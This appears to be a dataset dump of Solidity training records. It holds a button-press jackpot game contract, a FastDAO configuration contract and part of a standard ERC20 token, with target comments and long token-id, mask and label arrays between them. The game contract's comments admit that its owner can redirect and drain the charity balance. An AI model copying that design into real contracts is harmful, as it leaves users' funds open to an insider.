uint balance = ERC20(_token).balanceOf(this);
require(balance >= totalTokenBalances[_token].add(_value));
toAccount.tokenBalances[_token] = toAccount.tokenBalances[_token].add(_value);
emit TokenDeposited(toAccount.name, _token, address(this), _value);
}
}
///Base contract with all the events, getters, and simple logic
contract ButtonBase is DSAuth, Accounting {
///Using a the original DSMath as a library
using DSMath for uint;
uint constant ONE_PERCENT_WAD = 10 ** 16;// 1 wad is 10^18, so 1% in wad is 10^16
uint constant ONE_WAD = 10 ** 18;
uint public totalRevenue;
uint public totalCharity;
uint public totalWon;
uint public totalPresses;
///Button parameters - note that these can change
uint public startingPrice = 2 finney;
uint internal _priceMultiplier = 106 * 10 **16;
uint32 internal _n = 4; //increase the price after every n presses
uint32 internal _period = 30 minutes;// what's the period for pressing the button
uint internal _newCampaignFraction = ONE_PERCENT_WAD; //1%
uint internal _devFraction = 10 * ONE_PERCENT_WAD - _newCampaignFraction; //9%
uint internal _charityFraction = 5 * ONE_PERCENT_WAD; //5%
uint internal _jackpotFraction = 85 * ONE_PERCENT_WAD; //85%
address public charityBeneficiary;
///Internal accounts to hold value:
Account revenue =
Account({
name: "Revenue",
balanceETH: 0
});
Account nextCampaign =
Account({
name: "Next Campaign",
balanceETH: 0
});
Account charity =
Account({
name: "Charity",
balanceETH: 0
});
///Accounts of winners
mapping (address => Account) winners;
/// Function modifier to put limits on how values can be set
modifier limited(uint value, uint min, uint max) {
require(value >= min && value <= max);
_;
}
/// A function modifier which limits how often a function can be executed
mapping (bytes4 => uint) internal _lastExecuted;
modifier timeLimited(uint _howOften) {
require(_lastExecuted[msg.sig].add(_howOften) <= now);
_lastExecuted[msg.sig] = now;
_;
}
///Button events
event Pressed(address by, uint paid, uint64 timeLeft);
event Started(uint startingETH, uint32 period, uint i);
event Winrar(address guy, uint jackpot);
///Settings changed events
event CharityChanged(address newCharityBeneficiary);
event ButtonParamsChanged(uint startingPrice, uint32 n, uint32 period, uint priceMul);
event AccountingParamsChanged(uint devFraction, uint charityFraction, uint jackpotFraction);
///Struct that represents a button champaign
struct ButtonCampaign {
uint price; ///Every campaign starts with some price
uint priceMultiplier;/// Price will be increased by this much every n presses
uint devFraction; /// this much will go to the devs (10^16 = 1%)
uint charityFraction;/// This much will go to charity
uint jackpotFraction;/// This much will go to the winner (last presser)
uint newCampaignFraction;/// This much will go to the next campaign starting balance
address lastPresser;
uint64 deadline;
uint40 presses;
uint32 n;
uint32 period;
bool finalized;
Account total;/// base account to hold all the value until the campaign is finalized
}
uint public lastCampaignID;
ButtonCampaign[] campaigns;
/// implemented in the child contract
function press() public payable;
function () public payable {
press();
}
///Getters:
///Check if there's an active campaign
function active() public view returns(bool) {
if(campaigns.length == 0) {
return false;
} else {
return campaigns[lastCampaignID].deadline >= now;
}
}
///Get information about the latest campaign or the next campaign if the last campaign has ended, but no new one has started
function latestData() external view returns(
uint price, uint jackpot, uint char, uint64 deadline, uint presses, address lastPresser
) {
price = this.price();
jackpot = this.jackpot();
char = this.charityBalance();
deadline = this.deadline();
presses = this.presses();
lastPresser = this.lastPresser();
}
///Get the latest parameters
function latestParams() external view returns(
uint jackF, uint revF, uint charF, uint priceMul, uint nParam
) {
jackF = this.jackpotFraction();
revF = this.revenueFraction();
charF = this.charityFraction();
priceMul = this.priceMultiplier();
nParam = this.n();
}
///Get the last winner address
function lastWinner() external view returns(address) {
if(campaigns.length == 0) {
return address(0x0);
} else {
if(active()) {
return this.winner(lastCampaignID - 1);
} else {
return this.winner(lastCampaignID);
}
}
}
///Get the total stats (cumulative for all campaigns)
function totalsData() external view returns(uint _totalWon, uint _totalCharity, uint _totalPresses) {
_totalWon = this.totalWon();
_totalCharity = this.totalCharity();
_totalPresses = this.totalPresses();
}
/// The latest price for pressing the button
function price() external view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].price;
} else {
return startingPrice;
}
}
/// The latest jackpot fraction - note the fractions can be changed, but they don't affect any currently running campaign
function jackpotFraction() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].jackpotFraction;
} else {
return _jackpotFraction;
}
}
/// The latest revenue fraction
function revenueFraction() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].devFraction;
} else {
return _devFraction;
}
}
/// The latest charity fraction
function charityFraction() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].charityFraction;
} else {
return _charityFraction;
}
}
/// The latest price multiplier
function priceMultiplier() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].priceMultiplier;
} else {
return _priceMultiplier;
}
}
/// The latest preiod
function period() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].period;
} else {
return _period;
}
}
/// The latest N - the price will increase every Nth presses
function n() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].n;
} else {
return _n;
}
}
/// How much time is left in seconds if there's a running campaign
function timeLeft() external view returns(uint) {
if (active()) {
return campaigns[lastCampaignID].deadline - now;
} else {
return 0;
}
}
/// What is the latest campaign's deadline
function deadline() external view returns(uint64) {
return campaigns[lastCampaignID].deadline;
}
/// The number of presses for the current campaign
function presses() external view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].presses;
} else {
return 0;
}
}
/// Last presser
function lastPresser() external view returns(address) {
return campaigns[lastCampaignID].lastPresser;
}
/// Returns the winner for any given campaign ID
function winner(uint campaignID) external view returns(address) {
return campaigns[campaignID].lastPresser;
}
/// The current (or next) campaign's jackpot
function jackpot() external view returns(uint) {
if(active()){
return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].jackpotFraction);
} else {
if(!campaigns[lastCampaignID].finalized) {
return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].jackpotFraction)
.wmul(campaigns[lastCampaignID].newCampaignFraction);
} else {
return nextCampaign.balanceETH.wmul(_jackpotFraction);
}
}
}
/// Current/next campaign charity balance
function charityBalance() external view returns(uint) {
if(active()){
return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].charityFraction);
} else {
if(!campaigns[lastCampaignID].finalized) {
return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].charityFraction)
.wmul(campaigns[lastCampaignID].newCampaignFraction);
} else {
return nextCampaign.balanceETH.wmul(_charityFraction);
}
}
}
/// Revenue account current balance
function revenueBalance() external view returns(uint) {
return revenue.balanceETH;
}
/// The starting balance of the next campaign
function nextCampaignBalance() external view returns(uint) {
if(!campaigns[lastCampaignID].finalized) {
return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].newCampaignFraction);
} else {
return nextCampaign.balanceETH;
}
}
/// Total cumulative presses for all campaigns
function totalPresses() external view returns(uint) {
if (!campaigns[lastCampaignID].finalized) {
return totalPresses.add(campaigns[lastCampaignID].presses);
} else {
return totalPresses;
}
}
/// Total cumulative charity for all campaigns
function totalCharity() external view returns(uint) {
if (!campaigns[lastCampaignID].finalized) {
return totalCharity.add(campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].charityFraction));
} else {
return totalCharity;
}
}
/// Total cumulative revenue for all campaigns
function totalRevenue() external view returns(uint) {
if (!campaigns[lastCampaignID].finalized) {
return totalRevenue.add(campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].devFraction));
} else {
return totalRevenue;
}
}
/// Returns the balance of any winner
function hasWon(address _guy) external view returns(uint) {
return winners[_guy].balanceETH;
}
/// Functions for handling value
/// Withdrawal function for winners
function withdrawJackpot() public {
require(winners[msg.sender].balanceETH > 0, "Nothing to withdraw!");
sendETH(winners[msg.sender], msg.sender, winners[msg.sender].balanceETH);
}
/// Any winner can chose to donate their jackpot
function donateJackpot() public {
require(winners[msg.sender].balanceETH > 0, "Nothing to donate!");
transferETH(winners[msg.sender], charity, winners[msg.sender].balanceETH);
}
/// Dev revenue withdrawal function
function withdrawRevenue() public auth {
sendETH(revenue, owner, revenue.balanceETH);
}
/// Dev charity transfer function - sends all of the charity balance to the pre-set charity address
/// Note that there's nothing stopping the devs to wait and set the charity beneficiary to their own address
/// and drain the charity balance for themselves. We would not do that as it would not make sense and it would
/// damage our reputation, but this is the only "weak" spot of the contract where it requires trust in the devs
function sendCharityETH(bytes callData) public auth {
// donation receiver might be a contract, so transact instead of a simple send
transact(charity, charityBeneficiary, charity.balanceETH, callData);
}
/// This allows the owner to withdraw surplus ETH
function redeemSurplusETH() public auth {
uint surplus = address(this).balance.sub(totalETH);
balanceETH(base, surplus);
sendETH(base, msg.sender, base.balanceETH);
}
/// This allows the owner to withdraw surplus Tokens
function redeemSurplusERC20(address token) public auth {
uint realTokenBalance = ERC20(token).balanceOf(this);
uint surplus = realTokenBalance.sub(totalTokenBalances[token]);
balanceToken(base, token, surplus);
sendToken(base, token, msg.sender, base.tokenBalances[token]);
}
/// withdraw surplus ETH
function withdrawBaseETH() public auth {
sendETH(base, msg.sender, base.balanceETH);
}
/// withdraw surplus tokens
function withdrawBaseERC20(address token) public auth {
sendToken(base, token, msg.sender, base.tokenBalances[token]);
}
///Setters
/// Set button parameters
function setButtonParams(uint startingPrice_, uint priceMul_, uint32 period_, uint32 n_) public
auth
limited(startingPrice_, 1 szabo, 10 ether) ///Parameters are limited
limited(priceMul_, ONE_WAD, 10 * ONE_WAD) // 100% to 10000% (1x to 10x)
limited(period_, 30 seconds, 1 weeks)
{
startingPrice = startingPrice_;
_priceMultiplier = priceMul_;
_period = period_;
_n = n_;
emit ButtonParamsChanged(startingPrice_, n_, period_, priceMul_);
}
/// Fractions must add up to 100%, and can only be set every 2 weeks
function setAccountingParams(uint _devF, uint _charityF, uint _newCampF) public
auth
limited(_devF.add(_charityF).add(_newCampF), 0, ONE_WAD) // up to 100% - charity fraction could be set to 100% for special occasions
timeLimited(2 weeks) { // can only be changed once every 4 weeks
require(_charityF <= ONE_WAD); // charity fraction can be up to 100%
require(_devF <= 20 * ONE_PERCENT_WAD); //can't set the dev fraction to more than 20%
require(_newCampF <= 10 * ONE_PERCENT_WAD);//less than 10%
_devFraction = _devF;
_charityFraction = _charityF;
_newCampaignFraction = _newCampF;
_jackpotFraction = ONE_WAD.sub(_devF).sub(_charityF).sub(_newCampF);
emit AccountingParamsChanged(_devF, _charityF, _jackpotFraction);
}
///Charity beneficiary can only be changed every 13 weeks
function setCharityBeneficiary(address _charity) public
auth
timeLimited(13 weeks)
{
require(_charity != address(0));
charityBeneficiary = _charity;
emit CharityChanged(_charity);
}
}
/// Main contract with key logic
contract TheButton is ButtonBase {
using DSMath for uint;
///If the contract is stopped no new campaigns can be started, but any running campaing is not affected
bool public stopped;
constructor() public {
stopped = true;
}
/// Press logic
function press() public payable {
//the last campaign
ButtonCampaign storage c = campaigns[lastCampaignID];
if (active()) {// if active
_press(c);//register press
depositETH(c.total, msg.sender, msg.value);// handle ETH
} else { //if inactive (after deadline)
require(!stopped, "Contract stopped!");//make sure we're not stopped
if(!c.finalized) {//if not finalized
_finalizeCampaign(c);// finalize last campaign
}
_newCampaign();// start new campaign
c = campaigns[lastCampaignID];
_press(c);//resigter press
depositETH(c.total, msg.sender, msg.value);//handle ETH
}
}
function start() external payable auth {
require(stopped, "Already started!");
stopped = false;
if(campaigns.length != 0) {//if there was a past campaign
ButtonCampaign storage c = campaigns[lastCampaignID];
require(c.finalized, "Last campaign not finalized!");//make sure it was finalized
}
_newCampaign();//start new campaign
c = campaigns[lastCampaignID];
_press(c);
depositETH(c.total, msg.sender, msg.value);// deposit ETH
}
///Stopping will only affect new campaigns, not already running ones
function stop() external auth {
require(!stopped, "Already stopped!");
stopped = true;
}
/// Anyone can finalize campaigns in case the devs stop the contract
function finalizeLastCampaign() external {
require(stopped);
ButtonCampaign storage c = campaigns[lastCampaignID];
_finalizeCampaign(c);
}
function finalizeCampaign(uint id) external {
require(stopped);
ButtonCampaign storage c = campaigns[id];
_finalizeCampaign(c);
}
//Press logic
function _press(ButtonCampaign storage c) internal {
require(c.deadline >= now, "After deadline!");//must be before the deadline
require(msg.value >= c.price, "Not enough value!");// must have at least the price value
c.presses += 1;//no need for safe math, as it is not a critical calculation
c.lastPresser = msg.sender;
if(c.presses % c.n == 0) {// increase the price every n presses
c.price = c.price.wmul(c.priceMultiplier);
}
emit Pressed(msg.sender, msg.value, c.deadline - uint64(now));
c.deadline = uint64(now.add(c.period)); // set the new deadline
}
/// starting a new campaign
function _newCampaign() internal {
require(!active(), "A campaign is already running!");
require(_devFraction.add(_charityFraction).add(_jackpotFraction).add(_newCampaignFraction) == ONE_WAD, "Accounting is incorrect!");
uint _campaignID = campaigns.length++;
ButtonCampaign storage c = campaigns[_campaignID];
lastCampaignID = _campaignID;
c.price = startingPrice;
c.priceMultiplier = _priceMultiplier;
c.devFraction = _devFraction;
c.charityFraction = _charityFraction;
c.jackpotFraction = _jackpotFraction;
c.newCampaignFraction = _newCampaignFraction;
c.deadline = uint64(now.add(_period));
c.n = _n;
c.period = _period;
c.total.name = keccak256(abi.encodePacked("Total", lastCampaignID));//setting the name of the campaign's accaount
transferETH(nextCampaign, c.total, nextCampaign.balanceETH);
emit Started(c.total.balanceETH, _period, lastCampaignID);
}
/// Finalize campaign logic
function _finalizeCampaign(ButtonCampaign storage c) internal {
require(c.deadline < now, "Before deadline!");
require(!c.finalized, "Already finalized!");
if(c.presses != 0) {//If there were presses
uint totalBalance = c.total.balanceETH;
//Handle all of the accounting
transferETH(c.total, winners[c.lastPresser], totalBalance.wmul(c.jackpotFraction));
winners[c.lastPresser].name = bytes32(c.lastPresser);
totalWon = totalWon.add(totalBalance.wmul(c.jackpotFraction));
transferETH(c.total, revenue, totalBalance.wmul(c.devFraction));
totalRevenue = totalRevenue.add(totalBalance.wmul(c.devFraction));
transferETH(c.total, charity, totalBalance.wmul(c.charityFraction));
totalCharity = totalCharity.add(totalBalance.wmul(c.charityFraction));
//avoiding rounding errors - just transfer the leftover
// transferETH(c.total, nextCampaign, c.total.balanceETH);
totalPresses = totalPresses.add(c.presses);
emit Winrar(c.lastPresser, totalBalance.wmul(c.jackpotFraction));
}
// if there will be no next campaign
if(stopped) {
//transfer leftover to devs' base account
transferETH(c.total, base, c.total.balanceETH);
} else {
//otherwise transfer to next campaign
transferETH(c.total, nextCampaign, c.total.balanceETH);
}
c.finalized = true;
}
} | / base account to hold all the value until the campaign is finalized
| Account total; | 7,266,128 | [
1,
19,
1026,
2236,
358,
6887,
777,
326,
460,
3180,
326,
8965,
353,
727,
1235,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
6590,
2078,
31,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.9;
contract DAOConfig {
/*
* stock owner is the owner of the stock
*/
struct structStockOwner {
address ownerAddress;
uint256 stockOnwerIndex;
string ownerName;
string emailAddress;
string website;
}
/*
* stock is the stock that is being traded
*/
struct StockProperty {
string stockName;
string stockSymbol;
uint256 stockIndex;
uint256 stockTotalSupply;
uint256 stockVoteWeight;
uint256 stockDividendWeight;
uint256 stockTransactionCooldown;
bool isStockDilutable;
bool isStockMintable;
bool isStockBurnable;
bool isStockTransferable;
uint256 stockMaximumSupply;
}
/*
* basic information about the DAO
*/
uint256 constant fastDAOVersion = 1;
string constant fastDAOName = "FastDAO";
string constant fastDAODescription = "A DAO for the Ethereum blockchain";
string constant fastDAOWebsite = "http://foo.bar";
string constant fastDAOEmail = "[email protected]";
string constant fastDAOLogoURL = "http://foo.bar/logo.png";
/*
stock owner information
*/
string[] public stockOwnerNames = ["Peter Wang","Julia Smiths"];
uint256[] public stockOwnerIndexes = [1,2];
address[] public stockOwnerAddresses = [
0x0000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000
];
string[] public stockOwnerEmailAddresses = ["[email protected]","[email protected]"];
string[] public stockOwnerWebsites = ["www.peter.com","www.julia.com"];
uint256 public stockOwnerCount = 2;
/*
stock information
*/
string[] public stockNames = ["FastDao Inc. Stock Type 1","FastDao Inc. Stock Type 2"];
string[] public stockSymbols = ["FDST1","FDST2"];
uint256[] public stockIndices = [1,2];
uint256[] public stockTotalSupplies = [100,1000];
uint256[] public stockVoteWeights = [100,1];
uint256[] public stockDividendWeights = [10,1];
uint256[] public stockTransactionCooldowns = [1,1];
bool[] public stockIsDilutable = [true,true];
bool[] public stockIsMintable = [true,true];
bool[] public stockIsBurnable = [true,true];
bool[] public stockIsTransferable = [true,true];
uint256[] public stockMaximumSupplies = [1000,1000];
uint256 public stockCount = 2;
/*
* DAO CEO information and configuration
*/
address public managerAddress = 0x0000000000000000000000000000000000000000;
bool isManagerReplacementAllowed = true;
uint256 maximumAmountOfTransactionPerDay = 10;
uint256 maximumAmountOfTransactionPerYear = 300;
uint256 maximumValueOfEachTransaction = 200;
uint256 maximumValueOfTransactionPerDay = 20;
uint256 maximumValueOfTransactionPerYear = 2000;
uint256 maximumValueOfDividendUnitPerYear = 2;
enum TransactionType {
TRANSACTION_TYPE_TRANSFER,
TRANSACTION_TYPE_DIVIDEND,
TRANSACTION_TYPE_VOTE,
TRANSACTION_TYPE_MINT,
TRANSACTION_TYPE_BURN,
TRANSACTION_TYPE_PURCHASE,
TRANSACTION_TYPE_UNKNOWN
}
/*
* DAO opeartion configurations
*/
}
| DAO CEO information and configuration/ | address public managerAddress = 0x0000000000000000000000000000000000000000;
| 12,895,879 | [
1,
18485,
29538,
51,
1779,
471,
1664,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
1758,
1071,
3301,
1887,
273,
374,
92,
12648,
12648,
12648,
12648,
12648,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
